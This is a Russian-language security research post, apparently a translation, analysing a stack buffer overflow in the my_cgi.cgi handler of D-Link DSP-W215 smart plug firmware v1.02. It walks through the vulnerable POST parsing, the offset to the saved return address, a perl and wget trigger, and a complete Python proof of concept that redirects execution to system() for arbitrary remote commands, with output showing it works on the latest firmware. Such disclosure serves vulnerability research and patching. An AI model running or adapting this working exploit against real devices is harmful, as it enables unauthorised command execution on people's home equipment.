
Недавно, D-Link выпустил прошивку v1.02 для DSP-W215, в которой исправлен баг HNAP с переполнением буфера в my_cgi.cgi. Хоть они и быстренько убрали прошивку с сайта: «Вы можете обновить прошивку через мобильное приложение», я успел ее скачать перед моим рейсом в Мюнхен, и 8-часовой перелет предоставил мне достаточно времени для качественного анализа новой версии прошивки.
К сожалению, баг с HNAP был не единственной проблемой этого устройства. Конфигурационный файл lighttpd показывает нам, что my_cgi.cgi используется для обработки некоторых страниц, а не только HNAP-запросов:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" )
Главная функция в my_cgi.cgi имеет два ветвления кода: один для обработки HNAP-запросов, а другой — для всего остального:

Если HTTP-запрос был не HNAP (например, /common/info.cgi) и если это был POST-запрос, то в этом случае, my_cgi.cgi получает некоторые HTTP-заголовки, в том числе и Content-Length:

Если Content-Length больше нуля, то вызывается функция get_input_entries, которая ответственна за чтение и парсинг POST-параметров:

Функция get_input_entries принимает два аргумента: указатель на структуру «entries» и размер POST-данных (т.е. Content-Length):
struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length);
Это несколько подозрительно, т.к. параметр передается в get_input_entries прямо из заголовка Content-Length, который был указан в HTTP-запросе, а указатель структуры указывает на локальную переменную в стеке в главной функции:
int content_length, num_entries; struct entries my_entries[450]; // total size: 477450 bytes content_length = strtol(getenv("CONTENT_LENGTH"), 10); memset(my_entries, 0, sizeof(my_entries)); num_entries = get_input_entries(&my_entries, content_length);
Конечно же, get_input_entries содержит цикл с fgetc (практически такой же, который вызывал HNAP-уязвимость), который парсит POST-запрос (имена и значения) и сохраняет их в структуре «entries»:

Цикл fgetc

fgetc(stdin) внутри цикла for

Значение, прочитанное fgetc, сохраняется в name/value в структуре «entries»
Т.к. структура «entries», в нашем случае, является стековой переменной в main, чрезмерно длинное POST-значение вызовет переполнение стека в get_input_entries, а соответственно, и в main.
Для того, чтобы избежать падение перед возвращением в main (более подробно об этом будет в следующем посте), нам нужно выйти из функции get_input_entries как можно скорее. Проще всего это сделать, передав единственный POST-параметр «storage_path», т.к. код в get_input_entries пропускается, если этот параметр встречается:

Если мы посмотрим в стек main, мы увидим, что начало структуры «entries» находится на 0×74944 байт дальше от адреса возврата в стеке:

Из-за того, что на имена из POST-запроса отводится 36 байт в структуре, POST-значение размером 477472 (0×74944-36) байт переполнит на стеке все до сохраненного адреса возврата:
# Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi

$ra перезаписан значением 0×41414141
Теперь мы контролируем $ra, а значит можем вернуться в тот же вызов system(), который мы использовали в переполнении HNAP для того, чтобы выполнять произвольные команды:

вызов system() по адресу 0x00405CEC
Вот вам PoC:
#!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "\x00\x40\x5C\xEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "\x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
Который отлично работает с последней версией прошивки:
./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www
